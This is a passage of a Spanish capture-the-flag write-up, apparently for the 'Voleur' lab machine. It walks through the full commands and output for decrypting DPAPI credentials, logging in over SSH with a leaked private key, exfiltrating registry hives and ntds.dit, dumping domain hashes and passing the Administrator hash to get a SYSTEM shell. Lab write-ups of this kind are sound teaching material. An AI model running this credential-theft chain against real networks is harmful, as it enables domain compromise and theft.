drw-rw-rw-          0  Mon Jun 30 17:08:33 2025 ..
drw-rw-rw-          0  Wed Jan 29 12:13:03 2025 Second-Line Support

# tree .
/Second-Line Support/Archived Users
/Second-Line Support/Archived Users/todd.wolfe
/Second-Line Support/Archived Users/todd.wolfe/3D Objects
/Second-Line Support/Archived Users/todd.wolfe/AppData
/Second-Line Support/Archived Users/todd.wolfe/Contacts
<SNIP>
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Windows
/Second-Line Support/Archived Users/todd.wolfe/AppData/Local/Microsoft/Credentials/DFBE70A7E5CC19A398EBF1B96859CE5D
/Second-Line Support/Archived Users/todd.wolfe/AppData/Local/Microsoft/Edge/User Data
<SNIP>
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/BK-VOLEUR
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/Preferred
<SNIP>
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Adobe/Flash Player/NativeCache
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Crypto/Keys
<SNIP>

Podemos ver algunas credenciales para Data Protection API (DPAPI).

Extraemos estos archivos utilizando el comando get:

# get Second-Line Support/Archived Users/todd.wolfe/AppData/Local/Microsoft/Credentials/DFBE70A7E5CC19A398EBF1B96859CE5D

# get Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3

# get Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88

Luego, usamos dpapi.py de Impacket para intentar extraer las llaves (keys) de estas credenciales:

❯ impacket-dpapi masterkey -f 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

Obtenemos una llave desencriptada (decrypted key).

Usamos aquella llave desencriptada ante el blob que empieza con 7722 (este es simplemente un proceso de “ensayo y error”):

❯ impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description :
Unknown     :
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m

Obtenemos una nueva contraseña para el usuario jeremy.combs, usuario el cual existe en el dominio.

Solicitamos un nuevo TGT como este usuario:

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/jeremy.combs:qT3V9pLXyN7W4m -dc-ip 10.129.69.142

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in jeremy.combs.ccache

Y revisamos con NetExec si tenemos nuevos recursos en el recurso compartido IT:

❯ KRB5CCNAME=jeremy.combs.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache --spider IT --pattern .

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] VOLEUR.HTB\jeremy.combs from ccache
SMB         DC.voleur.htb   445    DC               [*] Spidering .
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/Third-Line Support/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/Third-Line Support/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/Third-Line Support/Note.txt.txt [lastm:'2025-01-30 13:07' size:186]

Tenemos nuevos archivos.

Descargamos así el archivo Note.txt.txt con NetExec y lo leemos:

❯ KRB5CCNAME=jeremy.combs.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache --share 'IT' --get-file 'Third-Line Support/Note.txt.txt' Note.txt

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] VOLEUR.HTB\jeremy.combs from ccache
SMB         DC.voleur.htb   445    DC               [*] Copying "Third-Line Support/Note.txt.txt" to "Note.txt"
SMB         DC.voleur.htb   445    DC               [+] File "Third-Line Support/Note.txt.txt" was downloaded to "Note.txt"

❯ cat Note.txt

Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin

La nota menciona un respaldo (backup) en WSL, también conocido como Windows Subsystem for Linux.

Información
WSL, or Windows Subsystem for Linux, is a feature in Windows that allows users to run a Linux environment directly within Windows, without the need for a virtual machine or dual-booting. It enables the use of Linux command-line tools, utilities, and applications on a Windows machine.
En corto, WSL es una manera de correr Linux en Windows accesible a través de una terminal.

Ello explica porqué el escaneo de Nmap identificó el puerto 2222 como servicio SSH corriendo en Ubuntu, porque estaba usando WSL.

A pesar de lo anterior, si revisamos los recursos con impacket-smbclient también podemos ver un archivo id_rsa el cual no era mostrado por NetExec (y por ello la importancia de a veces no depender sólo de una herramienta):

❯ KRB5CCNAME=jeremy.combs.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-smbclient -k -no-pass DC.voleur.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use IT

# tree .

/Third-Line Support/id_rsa
/Third-Line Support/Note.txt.txt
Finished - 3 files and folders

Descargamos esta llave con el comando get:

# get Third-Line Support/id_rsa

Es una llave RSA para SSH:

❯ chmod 600 id_rsa

❯ cat id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Dado que el primer documento que hallamos (archivo .xlsx) tenía al usuario svc_backup, podemos tratar de utilizar la llave hallada como aquel usuario ante el servicio SSH por el puerto 2222:

❯ ssh -i id_rsa svc_backup@10.129.69.142 -p 2222

<SNIP>
Last login: Thu Jan 30 04:26:24 2025 from 127.0.0.1
 * Starting OpenBSD Secure Shell server sshd                                                                                                                         [ OK ]
svc_backup@DC:~$

Una cosa curiosa de WSL es que se puede acceder a los archivos originales del host de Windows tal cual se explica aquí. La ruta es:

/mnt/c

Reviaando esta ruta tenemos:

svc_backup@DC:~$ ls -la /mnt/c 2>/dev/null

total 0
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 03:39 '$Recycle.Bin'
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jun 30 14:08 '$WinREAgent'
drwxrwxrwx 1 svc_backup svc_backup 4096 Jun 30 14:08  .
drwxr-xr-x 1 root       root       4096 Jan 30 03:46  ..
lrwxrwxrwx 1 svc_backup svc_backup   12 Jan 28 20:34 'Documents and Settings' -> /mnt/c/Users
-????????? ? ?          ?             ?            ?  DumpStack.log.tmp
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 01:10  Finance
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 01:10  HR
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 01:10  IT
d--x--x--x 1 svc_backup svc_backup 4096 May  8  2021  PerfLogs
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 06:20 'Program Files'
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 05:53 'Program Files (x86)'
drwxrwxrwx 1 svc_backup svc_backup 4096 Jun  4 15:34  ProgramData
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 28 20:34  Recovery
d--x--x--x 1 svc_backup svc_backup 4096 Jan 30 03:49 'System Volume Information'
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 03:38  Users
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jun  5 12:53  Windows
dr-xr-xr-x 1 svc_backup svc_backup 4096 May 29 15:07  inetpub
-????????? ? ?          ?             ?            ?  pagefile.sys

si revisamos la carpeta IT vemos que existe un directorio llamado Backups:

svc_backup@DC:~$ ls -la /mnt/c/IT/'Third-Line Support' 2>/dev/null

total 4
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 08:11 .
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 01:10 ..
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 08:11 Backups
-r-xr-xr-x 1 svc_backup svc_backup  186 Jan 30 08:07 Note.txt.txt
-r-xr-xr-x 1 svc_backup svc_backup 2602 Jan 30 08:10 id_rsa

En la carpeta Backups hay otro directorio llamado registry; y dentro de éste hay algunos archivos interesantes sensibles del sistema:

svc_backup@DC:~$ ls -la /mnt/c/IT/'Third-Line Support'/Backups/registry 2>/dev/null

total 17952
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 03:49 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 08:11 ..
-rwxrwxrwx 1 svc_backup svc_backup    32768 Jan 30 03:30 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup 18350080 Jan 30 03:30 SYSTEM

Una manera de descargar estos archivos es a través de un Local Port Forwarding, estableciendo el puerto 8080 de la máquina víctima (WSL) como nuestro puerto 8080. Esto lo podemos lograr saliendo de la sesión actual de SSH y ejecutando ahora:

❯ ssh -i id_rsa svc_backup@10.129.69.142 -p 2222 -L 8080:127.0.0.1:8080

En la máquina víctima WSL, vamos al directorio donde estaban los archivos sensibles e iniciamos un servidor HTTP con Python por el puerto 8080:

svc_backup@DC:~$ cd /mnt/c/IT/'Third-Line Support'/Backups/registry

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/registry$ ls -la && python3 -m http.server 8080

total 17952
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 03:49 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 08:11 ..
-rwxrwxrwx 1 svc_backup svc_backup    32768 Jan 30 03:30 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup 18350080 Jan 30 03:30 SYSTEM
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Así, descargamos los archivos SAM y SECURITY con wget contra nuestro localhost (que gracias al Local Port Forwarding será redirigido a la máquina WSL):

❯ wget http://127.0.0.1:8080/SECURITY -O SECURITY -q

❯ wget http://127.0.0.1:8080/SYSTEM -O SYSTEM -q

Funcionó.

Sin embargo, estos archivos por sí solos no son suficientes para extraer credenciales de un dominio. Revisando, podemos ver que también existe un directorio llamado Active Directory en la carpeta Backups, cuyo contenido es:

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ cd Active\ Directory/

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory$ ls
ntds.dit  ntds.jfm

Podemos ver un archivo ntds.dit, un archivo el cual es importantísimo para dumpear credenciales de un dominio. Repetimos los pasos previos para descargar el archivo ntds.dit .

Ya con estos 3 archivos, usamos impacket-secretsdump para dumpear el contenido de estos archivos localmente:

❯ impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
<SNIP>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
<SNIP>

Obtenemos un hash para el usuario Administrator. Solicitamos un ticket como el usuario Administrator con impacket-getTGT usando el hash NTLM de éste:

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/administrator -hashes ':e656e07c56d831611b577b160b259ad2' -dc-ip 10.129.69.142

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in administrator.ccache

Y, finalmente, utilizamos una herramienta como smbexec.py de Impacket para acceder a la máquina víctima como el usuario nt authority/system:

❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-smbexec -k -no-pass DC.voleur.htb

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

nt authority\system

GG. Podemos extraer la flag de root desde el Desktop del usuario Administrator.

~Happy Hacking.